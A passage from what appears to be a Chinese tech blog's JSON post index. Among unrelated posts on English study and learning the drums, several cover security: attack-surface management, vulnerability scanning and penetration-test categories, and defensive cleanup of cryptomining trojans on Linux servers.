随着数字化应用的深入，资产分布在多个数据中心、私有云、公有云、混合云、边缘计算和物联网等各种基础设施环境中，无论用户的单独一个部门亦或是单独某一家供应商，不可能覆盖所有资产，因此，统一的攻击面管理一定要具备“多源资产数据的接入并融合分析”的能力。主要解决统一可视化管理的问题，包括资产的可视化、资产与资产之间的关系可视化、风险可视化、业务影响可视化、责任可视化。这都要求具备统一的资产及攻击面管理平台实现多源资产数据的统一接入汇聚，多源数据的融合与分析。\n多源资产数据接入 应能对接的多源资产数据，包括但不限于CMDB、终端管理平台、AD域等运维数据，以及NDR、EDR、HDR(含HIDS)等具备资产发现能力的安全产品及解决方案。接入范围应该覆盖企业数据中心、私有云、公有云、混合云、边缘计算和物联网等各种基础设施环境中的所有的数据资产数据。\n数据融合与分析 多源资产数据接入汇总后，并非简单的叠加，而是要进行持续的交叉验证、去重/扩充、属性补全、标记等操作。需要结合业务数据流、网络流量、访问拓扑等多个维度，综合描绘出资产之间的关系链，建立“人-地-网”进行深度的关联和立体化模型，对地理、资产、事件、情报等大数据进行融合分析，结合可视化呈现技术，实现企业整体统一全面的资产地图，让网络资产“看得到、看得清、管得好\u0026quot;，到对于攻击能够“防的住”。\n4、专项暴露面收敛 通过前面的暴露面资产发现、脆弱性设别筛选定位出所有潜在威胁的风险资产，然后根据资产的业务优先级、所属部门，下发不同的响应策略。在不影响业务连续性的前提下，确定漏洞修复方案前，对部分资产做临时下线处理。对于一小部分受业务连续性要求，既不能下线又不能修复的资产，则通过“虚拟补丁/透明补丁”的方式临时加固，待将来允许时，再行修复。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-03-05-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%B9%8B%E8%B5%84%E4%BA%A7%E5%8F%8A%E6%94%BB%E5%87%BB%E9%9D%A2%E7%AE%A1%E7%90%86/","summary":"\u003cp\u003e“摸清家底，认清风险”做好资产管理是安全运营的第一步。那么什么是资产，资产管理的难点痛点是什么，如何做好资产管理，认清风险。带着这些问题我们来认识一下资产及攻击面管理。\u003c/p\u003e","title":"网络安全之资产及攻击面管理"},{"content":" 今天在豆瓣上翻到我在2020年4月发的一篇文章《看完全套149本《书虫》是种什么样的体验》。有豆友留言在问“现在英语怎么样了”？顿时感觉脸上火辣辣的，被啪啪打脸！\n到今天2023年3月了，快三年了，自己的英语又回到了原点。在我学习英语的生涯中又添加了一次英语学习失败的经历。陷入了第N+1轮的从坚持到放弃，从放弃到开始的魔咒。\n终究还是把英语学习看得太轻了！对于英语的学习，我经历过《坚持了330天，我终于放弃了背单词》、《看完全套149本《书虫》是种什么样的体验》、《英语学渣的我是如何撸完这本英文原著的》。经历了1年的背单词的过程，半年的看完全套书虫，半年撸完10本英文原著（见豆列《我读过的英文读本》）。\n关于学习英语这件事，大家都知道需要“长期”的坚持，“大量”的阅读应用。那么你认为长期的坚持是多长，大量的阅读是多少呢？我前前后后花了两年的时间，完成了149本书虫，看完了上十本英文原著，我觉得我已经很努力了，很能坚持了。当我试图在网上寻找这个答案时，发现自己认为花了两年的时间很长，人家已经坚持了七八上十年了；自己嘚瑟看完了全套书虫，人家不但晒完了全套书虫还晒完了哈利波特系列、床头灯系列后每年还坚持撸完二三十本原著。你所谓的“坚持”和“大量”，在人家眼里那只能是渣渣！学英语的路上，总能遇到比你厉害的人却还比你更努力！\n学习这件事，真的没有捷径，谁更用功谁功夫深。好在已经有大量的人已经验证过，英语这个技能是可以通过“长期”的坚持和“大量”的应用可以习得的，我们应该笃信这个事情。\u0026ldquo;长期\u0026quot;的坚持是多长，\u0026ldquo;大量\u0026quot;的阅读是多少，最终只能通过效果来验证。\n知识和能力的习得与积累是有复利效应的。所以，应该要相信自己能够通过“长期”和“大量”的积累和复利获得成功和成长，实现自己的英语应用的自由。有人通过自己的长期坚持和大量的积累成功的突破了拐点，实现了自己的目标。自己还没有成功，说明坚持得不久，积累得不够，在拐点到来之前就慢慢的放弃了，如果继续放弃那以前花费的时间精力只能是变成沉默成本不会有任何效果了。实现英语阅读自由只能是梦想了。\n革命尚未成功，同志仍需努力！梦想还是要有的，现在开始继续坚持英语学习吧！\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-03-02-%E5%AD%A6%E4%B9%A0%E8%8B%B1%E8%AF%AD%E4%BD%A0%E8%AE%A4%E4%B8%BA%E9%95%BF%E6%9C%9F%E7%9A%84%E5%9D%9A%E6%8C%81%E6%98%AF%E5%A4%9A%E9%95%BF%E5%A4%A7%E9%87%8F%E7%9A%84%E9%98%85%E8%AF%BB%E5%8F%88%E6%98%AF%E5%A4%9A%E5%B0%91/","summary":"\u003cp\u003e\u003cimg alt=\"English\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2023/20230302/LearnEnglish.png\" title=\"English\"\u003e\n今天在豆瓣上翻到我在2020年4月发的一篇文章《\u003ca href=\"https://book.douban.com/review/12481861/\"\u003e看完全套149本《书虫》是种什么样的体验\u003c/a\u003e》。有豆友留言在问“现在英语怎么样了”？顿时感觉脸上火辣辣的，被啪啪打脸！\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"豆瓣回复\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2023/20230302/%E8%B1%86%E7%93%A3%E5%9B%9E%E5%A4%8D.png\" title=\"豆瓣回复\"\u003e\u003c/p\u003e\n\u003cp\u003e到今天2023年3月了，快三年了，自己的英语又回到了原点。在我学习英语的生涯中又添加了一次英语学习失败的经历。陷入了第N+1轮的从坚持到放弃，从放弃到开始的魔咒。\u003c/p\u003e","title":"学习英语，你认为“长期”的坚持是多长，“大量”的阅读又是多少？"},{"content":"为保证业务系统运营的安全稳定，在业务系统上线前需要开展三同步检查，针对新业务系统上线、新版本上线、项目验收前开展安全评估。可以帮助其在技术层面了解系统存在的安全漏洞。今天就来了解一下安全评估之漏洞扫描、基线检查、渗透测试。\n安全评估的内容主要涉及主机漏洞扫描、安全基线检查、渗透测试三个方面：\n主机漏洞扫描 主机漏洞扫描一般是采用漏洞扫描工具，根据其内置的弱点测试方法，从网络侧对被评估对象进行一系列的检查，从而发现弱点。发现其存在的不安全漏洞后进行人工分析和确认，针对每个漏洞的整改意见完成报告的输出。被评估对象系统的管理人员根据扫描的结果以及修复建议修复网络安全漏洞，在黑客攻击前进行防范。被评估对象系统的管理人员对这些漏洞进行修复后，安服工程师会对漏洞扫描报告中每个漏洞进行漏洞复测，并输出复测报告。使用户更加全面的了解全网的安全状态，提高对安全漏洞的认识和管理能力，并通过对漏洞的修补加强应用系统抵御恶意入侵的能力。\n安全基线检查 安全基线检查是通过采用安全检查设备以及人工检查两种方法从对应目标的安全合规性等方面开展对系统的全量安全基线检查，从而发现其基线的不合规项。其次在发现基线不合规项之后由安服工程师进行人工二次确认，依据工信部基线安全标准，针对性提供每个基线不合规项的整改建议，并完成基线不合规项报告输出。评估对象系统的管理人员可根据输出报告对基线不合规项进行基线整改。整改完成后，安服工程师会对按照工信部基线安全标准对所涉及不合规项进行安全基线复测，并输出复测报告。确保系统安全性得到提升，建立系统基础的安全防御体系。\n渗透测试 渗透测试主要是模拟黑客的攻击手法，通过自动化漏洞扫描工具结合手工测试的方式对系统进行无害化的安全评估。渗透测试包含应用安全测试和业务安全测试两部分，应用安全测试包括但不限于如下内容：\n序号 应用安全检查项 检查项说明 1 注入类攻击 注入攻击漏洞，例如SQL，OS以及LOAP注入，这些攻击发生在当不可信的数据作为命令或者查询语句的一部分，被发送给解释器的时候，攻击者发送的恶意数据可以欺骗解释器，以执行计划外的命令或者访问未授权的数据。 2 跨站脚本（XSS） 当应用程序收到含有不可信的数据，在没有进行适当的验证和转义的情况下，就将它发送给一个网页浏览器，这就会产生跨站脚本攻击（简称XSS）。XSS允许攻击者在受害者的浏览器上执行脚本，从而劫持用户会话、危害网站、或者将用户转向恶意网站。 3 失效的身份认证和会话管理 与身份认证和会话管理相关的应用程序功能往往得不到正确的实现，这就导致了攻击者破坏密码、秘钥、会话令牌或攻击其他的漏洞去冒充其他用户的身份 4 不安全的直接对象引用 当开发人员暴露一个对内部实现对象的引用时，例如，一个文件、目录或数据库秘钥，就会产生一个不安全的直接对象引用，在没有访问控制检测或者其他保护时，攻击者会操作这些引用去访问未授权数据。 5 跨站请求伪造 一个跨站请求伪造攻击迫使登陆用户的浏览器将伪造的HTTP请求，包括该用户的会话cookie和其他认证信息，发送到一个存在漏洞的web应用程序，这就允许了攻击者迫使用户浏览器向存在漏洞的应用程序发送请求，而这些请求会被应用程序认为是用户的合法请求。 6 安全配置错误 好的安全需要对应用程序、框架、应用程序服务器、web服务器、数据库服务器和平台，定义和执行安全配置。由于许多设置的默认值并不是安全的，因此，必须定义、实施和维护所有这些设置。这包括了对所有的软件保持及时地更新，包括所有应用程序的库文件。 7 不安全的加密存储 许多web应用程序并没有使用恰当的加密措施或Hash算法保护敏刚数据，比如信用卡、身份证等等。攻击者可能利用这种弱保护数据实行身份盗窃、信用卡诈骗或其他犯罪。 8 没有限制URL访问 许多web应用程序在显示受保护的链接和按钮之前会检测URL访问权限。但是，当这些页面被访问是，应用程序也需要执行类似的访问控制检测，否则攻击者将可以伪造这些URL去访问隐藏的页面 9 传输层的保护不足 应用程序时常没有进行身份认证，加密措施，甚至没有保护敏感网络数据的保密性和完整性。而当进行保护时，应用程序有时采用弱算法，使用过期或者无效的证书，或不正确地使用这些技术。 10 未验证的重定向和转发 WEB应用程序经常将用户重新定向和转发到其他网页和网站，并且利用不可信的数据去判定目的页面，如果没有得到适当验证，攻击者可以重定向受害用户到钓鱼软件或恶意网站，或者使用转发去访问未授权的页面 业务安全测试包括但不限于如下内容：\n序号 业务安全检查项 检查项说明 1 身份认证管理 该项测试主要针对身份认证环节，以及在非授权情况下访问一些授权用户才能访问的页面，或进行授权用户的操作。 2 业务一致性 该项测试主要针对办理业务过程中用户的身份与用户办理的业务是否相关联一直的安全测试 3 业务授权安全 该项测试主要针对于是否存在非授权情况下访问一些授权用户才能访问的页面，或进行授权用户的操作。 4 用户输入合法性验证 Web应用程序没有对用户输入数据的合法性进行判断，就会使应用程序存在安全隐患。从而容易受到跨站脚本及SQL注入等攻击 5 误操作回退 手动进行误操作尝试，看系统是否能够正确回滚。例如，交易操作，在购买未完成时异常退出，看系统是否能够自动释放被购买物的锁定状态。又例如办理操作，如话费套餐变更，更改过程出错或异常退出是否能正确回滚到办理之前的状态 6 验证码机制 验证码控制是一种由WEB应用程序生成的随机数，以确保用户提交的请求不是由bot生成。 7 业务数据篡改 该项测试主要针对于办理业务过程中用户浏览器端传递至服务端的字段篡改测试。 8 业务流乱序 该项测试主要针对业务的处理流程是否有正常的顺序，确保不会通过技术手段绕过某些重要流程步骤。 9 信息正确呈现 对于用户提交的请求，是否能够返回用户需要的页面信息。 10 业务接口恶意调用 1.对于敏感的业务接口，是否预先有身份认证机制？查看此类可能被恶意大规模调用的业务接口，如用户登录模块、密码找回、密码重置等等。\n2.对于具有查询展示办理功能的业务皆苦，如果不需要身份认证是否有强制验证码机制防止机器人程序等自动化大规模的恶意调用。 博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-03-01-%E5%AE%89%E5%85%A8%E8%AF%84%E4%BC%B0%E4%B9%8B%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F%E5%9F%BA%E7%BA%BF%E6%A3%80%E6%9F%A5%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/","summary":"\u003cp\u003e为保证业务系统运营的安全稳定，在业务系统上线前需要开展三同步检查，针对新业务系统上线、新版本上线、项目验收前开展安全评估。可以帮助其在技术层面了解系统存在的安全漏洞。今天就来了解一下安全评估之漏洞扫描、基线检查、渗透测试。\u003c/p\u003e","title":"安全评估之漏洞扫描、基线检查、渗透测试"},{"content":"\n2025年的我应该是实现了架子鼓演奏自由，可以轻松的驾驭并享受架子鼓演奏带来的愉悦和快乐。可以很自信的在抖音或B站上上传自己平时很惬意的架子鼓日常练习，不用再担心有人说\u0026quot;节奏不稳、勉强还行\u0026quot;了。技巧应该很熟了，什么重轻音、滚奏、双踩都不在话下了，16分节奏型速度在120以上那都是小case，可以挑战一些有难度的歌曲了。可以很有底气的说我会打架子鼓！要不要来表演一段？\n2025年的我应该是实现了英语阅读的自由，可以享受在英语文献中获取知识带来的快乐，可以不带字幕的看懂大部分的美剧大片了。不用再忍受看一页原版英语小说还要不停的翻英汉字典，搞得阅读兴趣全无了。应该可以畅快的看懂英文的计算机相关的技术文档了，可以尝试翻译英文技术文档了。\n2025年的我技术能力水平应该更高了，心智更加成熟，思考更加有深度了，更加乐意写技术文章做技术分享了。CSDN账号的粉丝应该是到了10W，可以小小的嘚瑟一下了！\n2025年的我还没有达到财富自由，上班还是在上班，但心态没有这么累了，应该是在享受工作了。开了多年的老爷车应该是换了，换成了新能源的混动车，偶尔可以开着新车去旅行，感受不一样的风景了。\n如今的各种不如意，都是来自于过去的不努力！\n2025年的我，要感谢现在努力的自己！\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-02-28-%E5%86%99%E7%BB%99%E4%B8%A4%E5%B9%B4%E5%90%8E2025%E5%B9%B4%E7%9A%84%E8%87%AA%E5%B7%B1/","summary":"\u003cp\u003e\u003cimg alt=\"致未来\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2023/20230228/%E8%87%B4%E6%9C%AA%E6%9D%A5.png\"\u003e\u003c/p\u003e\n\u003cp\u003e2025年的我应该是实现了架子鼓演奏自由，可以轻松的驾驭并享受架子鼓演奏带来的愉悦和快乐。可以很自信的在抖音或B站上上传自己平时很惬意的架子鼓日常练习，不用再担心有人说\u0026quot;节奏不稳、勉强还行\u0026quot;了。技巧应该很熟了，什么重轻音、滚奏、双踩都不在话下了，16分节奏型速度在120以上那都是小case，可以挑战一些有难度的歌曲了。可以很有底气的说我会打架子鼓！要不要来表演一段？\u003c/p\u003e","title":"写给两年后2025年的自己"},{"content":"一、什么是挖矿木马？ 比特币是以区块链技术为基础的虚拟加密货币，比特币具有匿名性和难以追踪的特点，经过十余年的发展，已成为网络黑产最爱使用的交易媒介。大多数勒索病毒在加密受害者数据后，会勒索代价高昂的比特币。比特币在2021年曾达到1枚6.4万美元的天价，比特币的获得需要高性能计算机（又称矿机，一般配置顶级CPU和GPU）按特定算法计算，计算的过程被形象的称为“挖矿”。\n矿机价格昂贵，为生产比特币，有人不惜重金购置大量矿机组成网络集群挖矿。挖矿又非常耗电，因此矿场往往会寻找偏僻地区的小水电、小火电而建，因为电费便宜，有人为节约成本偷电挖矿。\n当数字加密币市值暴涨时，挖矿业务会水涨船高，高端CPU、GPU、高端显卡、大容量硬盘被炒上天价还卖断货。目前，我国政府宣布要实现碳达峰碳中和的目标，严重耗能的虚拟加密币相关生产、交易被认定为非法，我国境内所有（生产加密货币的）矿场必须关闭。\n因挖矿需要大量财力投入，从一开始，就有人想到利用木马控制他人的计算机组建僵尸网络集群挖矿的办法，这就是所谓“挖矿木马”。\n不法分子通过各种非法手段将矿机程序植入受害者的计算机中，利用受害者计算机的运算能力进行挖矿活动，从而获取非法收益。这类非法侵入用户计算机的矿机程序被称作挖矿木马病毒。\n二、挖矿木马的主要入侵方式 挖矿木马常见的攻击方式及攻击后果可以参考下图： 1、漏洞攻击 利用系统漏洞快速获取相关服务器权限，植入挖矿木马是目前最为普遍的传播方式之一。常见的漏洞包括Windows系统漏洞、服务器组件插件漏洞、中间件漏洞、Web漏洞等。例如传播较广的WannaMine挖矿家族，利用了永恒之蓝漏洞在内网蠕虫式传播，给不少公司和机构带来巨大损失。\n2、弱口令爆破 弱口令指的是仅包含简单口令、有规律的键盘组合或历次泄漏过的密码，攻击者通常会针对redis、ssh、3389、mssql、IPC$等服务进行爆破弱口令攻击。爆破成功后，尝试获取系统权限，植入挖矿木马并设置持久化。\n3、伪装正常软件 攻击者将挖矿木马伪装为游戏软件、娱乐社交软件、安全软件、游戏外挂等进行传播，欺骗用户下载并执行。由于多数游戏对显卡、CPU等硬件性能要求较高，故挖矿木马通常伪装成游戏辅助外挂，通过社交群、网盘等渠道传播，感染大量机器。\n三、挖矿木马的安全危害 挖矿木马攻击，就是发生率较高，极可能造成业务系统中断的威胁事件，挖矿木马最明显的影响是大量消耗系统资源，使系统其他软件或服务运行缓慢，性能变差。主要安全危害包括业务故障、资源损耗及其他的安全威胁。\n1、业务故障 挖矿木马会占用CPU进行超频运算，从而占用主机大量的CPU资源，导致设备性能不足，业务访问缓慢，设备过载宕机重启，异常网络链接等问题，严重影响服务器上的其他应用的正常运行，最终会影响业务系统工作运行。\n2、资源损耗 挖矿木马的挖矿活动会使设备各器件高速运行，产生大量热能，增加电能消耗，加速设备器件老化等问题，造成资源损耗浪费。\n3、安全威胁 挖矿木马作为一款应用程序，在服务器中运行，其拥有服务器权限，对服务器主机产生安全威胁。部分挖矿木马还具备蠕虫化的特点，在主机被成功入侵之后，挖矿木马还会向内网渗透，并在被入侵的服务器上持久化驻留以获取最大收益。\n四、挖矿木马的检测手段 1、挖矿主机指纹识别 通过主机探测平台内置指纹知识库，如：Body特征、Header特征，对挖矿木马指纹进行识别，进而发现感染挖矿木马主机资产。\n2、挖矿主机端口识别 通过研究分析目前主流的挖矿木马类型存在的通信端口，感染主机的标记端口等，形成挖矿木马常用端口知识库，并对资产开放端口进行聚合分析，探测这些端口的指纹信息进行识别和确认。\n3、挖矿主机协议检测 通过挖矿木马的通信协议特征，对比分析网络资产开放的服务协议，定位存在挖矿木马感染风险的资产主机。\n4、IOC威胁情报关联检测 通过大数据威胁情报，实时更新最新的挖矿木马情报。包括挖矿木马家族使用的C\u0026amp;C域名、恶意文件hash、矿池域名和IP、挖矿木马使用的加密货币钱包地址等进行挖矿木马流量检测告警。\n5、挖矿木马行为特征检测 通过网络流量检测分析引擎，对其挖矿木马通信的端口、协议、内容、行为特征、恶意文件检测等挖矿木马流量特征进行检测分析，定位出存在恶意挖矿行为的终端及主机。\n6、DNS流量检测挖矿域名 通过DNS威胁流量检测，基于域名分析算法结合威胁情报系统对C\u0026amp;C域名、挖矿网站域名、DNS解析IP等进行聚类分析，进而发现内网存在的恶意挖矿行为。\n五、挖矿木马的清理 参考网上给出的腾讯安全专家撰写的《挖矿木马自助清理手册》的挖矿木马清理步骤和方法：\n1、及时隔离主机 部分带有蠕虫功能的挖矿木马在取得主机的控制权后，会继续对公网的其他主机，或者以当前主机作为跳板机对同一局域网内的其他主机进行横向渗透，所以在发现主机被植入挖矿木马后，在不影响业务正常运行的前提下，应该及时隔离受感染的主机，然后进行下一步分析和清除工作。\n2、阻断异常网络通信 挖矿木马不仅会连接矿池，还有可能会连接黑客的C2服务器，接收并执行C2指令、投递其他恶意木马，所以需要及时进行网络阻断。 （1）检查主机防火墙当前生效的iptables规则中是否存在业务范围之外的可疑地址和端口，它们可能是挖矿木马的矿池或C2地址\n1 iptables -L -n （2）从iptables规则中清除可疑地址和端口\n1 vi /etc/sysconfig/iptables （3）阻断挖矿木马的网络通信\n1 2 iptables -A INPUT -s 可疑地址 -j DROP iptables -A OUTPUT -d 可疑地址 -j DROP 3、清除计划任务 大部分挖矿木马会通过在受感染主机中写入计划任务实现持久化，如果仅仅只是清除挖矿进程，无法将其根除，到了预设的时间点，系统会通过计划任务从黑客的C2服务器重新下载并执行挖矿木马。 可以通过执行如下命令查看是否存在可疑定时任务，若有，则先保存相关记录用于后续分析，再进行删除： 查看系统当前用户的计划任务：\n1 crontab -l 查看系统特定用户的计划任务：\n1 crontab -u username -l 查看其他计划任务文件：\n1 cat /etc/crontabcat /var/spool/croncat /etc/anacrontabcat /etc/cron.d/cat /etc/cron.daily/cat /etc/cron.hourly/cat /etc/cron.weekly/cat /etc/cron.monthly/cat /var/spool/cron/ 4、清除启动项 除了计划任务，挖矿木马通过添加启动项同样能实现持久化。可以使用如下命令查看开机启动项中是否有异常的启动服务。 CentOS7以下版本：\n1 chkconfig –list CentOS7及以上版本：\n1 systemctl list-unit-files 如果发现有恶意启动项，可以通过如下命令进行关闭： CentOS7以下版本：\n1 chkconfig 服务名 off CentOS7及以上版本：\n1 systemctl disable 服务名 另外，还需要仔细排查以下目录及文件，及时删除可疑的启动项：\n1 2 3 4 5 6 7 8 9 10 11 12 /usr/lib/systemd/system /usr/lib/systemd/system/multi-user.target.wants /etc/rc.local /etc/inittab /etc/rc0.d/ /etc/rc1.d/ /etc/rc2.d/ /etc/rc3.d/ /etc/rc4.d/ /etc/rc5.d/ /etc/rc6.d/ /etc/rc.d/ 排查的时候，可以按照文件修改时间来排序，重点排查近期被创建服务项。\n5、清除预加载so 通过配置/etc/ld.so.preload，可以自定义程序运行前优先加载的动态链接库，部分木马通过修改该文件，添加恶意so文件，从而实现挖矿进程的隐藏等恶意功能。 检查/etc/ld.so.preload（该文件默认为空），清除异常的动态链接库。\n6、清除SSH公钥 挖矿木马通常还会在 ~/.ssh/authoruzed_keys 文件中写入黑客的SSH公钥，这样子就算用户将挖矿木马清除得一干二净，黑客还是可以免密登陆该主机，这也是常见的保持服务器控制权的手段。 排查 ~/.ssh/authorized_keys文件 ，如果发现可疑的SSH公钥，直接删除。\n7、清除挖矿木马 （1）清除挖矿进程 挖矿木马最大的特点就是会在用户不知情的情况下，利用主机的算力进行挖矿，从而消耗主机大量的CPU资源，所以，通过执行如下命令排查系统中占用大量CPU资源的进程。\n1 top -cps -ef 确认相关进程为挖矿进程后，按照如下步骤将其清除： 获取并记录挖矿进程的文件路径：\n1 ls -l /proc/$PID/exe 杀死挖矿进程：\n1 kill -9 $PID 删除挖矿进程对应的文件 （2）清除其它相关恶意进程 恶意进程与外部的C2服务器进行通信时，往往会开启端口进行监听。执行如下命令，查看服务器是否有未被授权的端口被监听。\n1 netstat -antp 若有未授权进程，按照如下步骤将其清除： 获取并记录未授权进程的文件路径：\n1 ls -l /proc/$PID/exe 杀死未授权进程：\n1 kill -9 $PID 删除未授权进程对应的文件 还可以通过如下命令排查近期新增的文件，清除相关木马\n1 find /etc -ctime -2 （这里指定目录为/etc，获取近2天内的新增文件）lsof 8、风险排查、安全加固 对系统进行风险排查和安全加固，避免挖矿木马卷土重来。\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-02-22-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%B9%8B%E8%AE%A4%E8%AF%86%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC/","summary":"\u003ch2 id=\"一什么是挖矿木马\"\u003e一、什么是挖矿木马？\u003c/h2\u003e\n\u003cp\u003e比特币是以区块链技术为基础的虚拟加密货币，比特币具有匿名性和难以追踪的特点，经过十余年的发展，已成为网络黑产最爱使用的交易媒介。大多数勒索病毒在加密受害者数据后，会勒索代价高昂的比特币。比特币在2021年曾达到1枚6.4万美元的天价，比特币的获得需要高性能计算机（又称矿机，一般配置顶级CPU和GPU）按特定算法计算，计算的过程被形象的称为“挖矿”。\u003c/p\u003e","title":"网络安全之认识挖矿木马"},{"content":"\n架子鼓\r从去年的圣诞节报了架子鼓的班以后，过了一年多了，发现自己这个架子鼓还没有入门！！！\r报班的时候感觉信心满满，这架子鼓不就是拿个鼓槌敲来敲去，这还不容易学？而且刷抖音、B站上大把的都是30天快速入门、一个月学会打《逆战》，看得我天真的认为我也能行。现实让我啪啪的打脸，过了一年多了，发现还没有入门，只会打简单的动次打次，敲最简单的《yellow》。\n回顾一年多学习架子鼓的历程：\n头三个月，才报完班，兴致满满，每周都想约老师上课，由于没有买鼓也没有去鼓房去练习，所以每次上课的时候总是被老师打击\u0026quot;你这个根本就没有练习啊\u0026quot;，或者是\u0026quot;你这上节课的内容还没有练熟啊\u0026quot;，硬着头皮去上课发现头半节课是在练习，后半节课老师匆匆讲一、两个知识点或教一、两个手法。由于完全是零基础老师讲时值，全音符、4分、8分、16分音符等乐理知识，听得得自己一头雾水；教手法是一听就会，一练就费。就这么稀里糊涂的上了大概7节课后，这个信心被打击得不行了，上课的兴趣没有那么大了。想想，这样下去也不是办法，关键是没有条件练习，既然想学好架子鼓，还是得自己买个鼓！于是花了近4千大洋买了个电鼓。\n自己有了鼓以后果然兴致又大增。鼓刚到的几天，天天在家练。毕竟咱也是成熟的大人了，知道要学好一门乐器，师傅领进门，修行靠个人，需要自己花时间慢慢的练习。又碰上疫情不断，老师也不能上课。于是自己在B站上找架子鼓视频，今天看到一个新手小白必练节奏型，明天看到一个架子鼓新手快速入门。今天看到这个视频好，练了几天，明天发现另外一个视频可能更适合，又开始跟着这个视频练，练了几天后发现因为不成体系，东练一下西练一下啥都没有学会。又想去找老师线下教，把剩下的几节课上完，结果发现因为疫情原因，报名学鼓的地方老板已经搞不下去，教学点已经转让了。联系了几次老板，老板抱怨说\u0026quot;过了这么久我都已经撑不下去不搞了，你们怎么12节课都还没有学完？\u0026ldquo;后来根本就不理我们了。\n开了个头，总得要学出个名堂来吧？回顾这段学鼓的历程，无疑是段失败的学鼓之路。总结一下，自己学鼓没有目标，不了解学习架子鼓的整个技能知识结构、像个无头苍蝇一样不知道如何有计划的学习和训练，想依赖老师确又没有按照老师的节奏来，把学乐器想得太简单了，不可能通过短短的12次课时就可能把架子鼓学会。人家30天入门、一个月打歌，那基本上都是有基础的，而且是每天都花了大量的时间在练习。个人认为正常情况零基础的学习者没有经过一两年有体系有计划的训练是很难流畅的打好一首中等难度的歌曲的。\n痛定思痛，为了学好架子鼓，我开始思考并改变策略。不再无脑的跟B站那些免费的视频教程了，因为大部分免费的视频教程都有个很大的问题就是不成体系。为此我买了一本《成人零基础学架子鼓》的教材，详细了解要学习架子鼓的整体的体系框架，现在知道了学习架子鼓得知道基本的握槌击打方法、套鼓的组成及击打方式、4分、8分、16分、休止符、基本节奏型、还有前8后16、前16后8、切分、附点等等，这些都是需要一个个的去理解理会，通过不断的练习来熟练掌握的。有了这些基本功后才有可能通过组合应用到实战歌曲里面来完成打一首完整的歌曲。为了更好的掌握这些基本功的练习方法，我在抖音上花了499买了一套完整的视频教学课程，可以跟着课程将这些基本功及常用的技巧进行练习。剩下的就是抛弃速成的幻想，扎扎实实一步步的开始练习了。\n今年的目标是扎扎实实的把基本功练好，拿下最初定下来的《大风吹》这首歌！\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-02-19-%E4%BB%BB%E4%BD%95%E8%AF%B430%E5%A4%A9%E5%BF%AB%E9%80%9F%E5%AD%A6%E4%BC%9A%E6%9E%B6%E5%AD%90%E9%BC%93%E7%9A%84%E9%83%BD%E6%98%AF%E9%AA%97%E4%BA%BA%E7%9A%84/","summary":"\u003cp\u003e\u003cimg alt=\"架子鼓\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2023/20230218/%E9%AD%94%E9%B2%A8%E6%9E%B6%E5%AD%90%E9%BC%93.png\"\u003e\u003c/p\u003e\n\u003ccenter\u003e架子鼓\u003c/center\u003e\r\n从去年的圣诞节报了架子鼓的班以后，过了一年多了，发现自己这个架子鼓还没有入门！！！\r\n\u003cp\u003e报班的时候感觉信心满满，这架子鼓不就是拿个鼓槌敲来敲去，这还不容易学？而且刷抖音、B站上大把的都是30天快速入门、一个月学会打《逆战》，看得我天真的认为我也能行。现实让我啪啪的打脸，过了一年多了，发现还没有入门，只会打简单的动次打次，敲最简单的《yellow》。\u003c/p\u003e","title":"任何说30天快速学会架子鼓的都是骗人的!"},{"content":" 建设关键信息基础设施应当确保其具有支持业务稳定、持续运行的性能，并保证安全技术措施同步规划、同步建设、同步使用。 \u0026ndash;《网络安全法》第三十三条 信息系统的生命周期层面和安全保障要素层面不是相互孤立的，而是相互关联、密不可分的。 在信息系统生命周期模型中，将信息系统的整个生命周期抽象成计划组织、开发采购、实施交付、运行维护和废弃5个阶段，加上在运行维护阶段的变更产生的反馈，形成信息系统生命周期完整的闭环结构。在信息系统生命周期中的任何时间点上，都需要综合信息系统安全保障的技术、管理、工程和人员保障要素。从信息系统建设开始，就应该综合考虑系统的安全保障要求，确保信息系统建设和信息系统安全保障建设同步规划、同步实施。也就是我们平时讲的信息系统和安全保障要“三同步”\u0026ndash;同步规划、同步建设、同步使用。\n同步规划 关键信息基础设施运营者应： a）同步分析安全需求，即在关键信息基础设施建设或改建之初，从本组织的职能或业务的角度分析对关键信息基础设施实施网络安全的需求，形成安全需求说明书。 b）同步定义安全要求，即基于网络安全需求说明书，定义关键信息基础设施的网络安全要求，形成网络安全功能和性能说明书。 c）确保安全需求说明书得到网络安全责任部门签字认可。\n同步建设 关键信息基础设施运营者应： a）同步设计安全体系结构，即基于已经定义的关键信息基础设施的网络安全要求，设计网络安全体系结构，明确系统内的各类信息安全组件，说明各组件提供的信息安全服务及可能的实现机制。 b）同步开展详细的安全设计，即根据安全保护等级选择基本安全措施，细化安全机制在关键信息基础设施中的具体实现。 c）在建设或改建过程中，按照GB/T 22239工程实施相应等级的要求，同步建设符合其等级要求的网络安全设施，包括自行软件开发。 d）建设完成后，组织对关键信息基础设施进行验收并将网络安全作为验收的重要内容。\n同步使用 关键信息基础设施运营者应： a）同步运行安全设施，确保安全设施保持启用状态。 b）按照GB/T 22239安全运维管理相应等级的要求进行安全运维。 c）关键信息基础设施及其运行环境发生明显变化时，评估其风险，及时升级安全设施并实施变更管理。 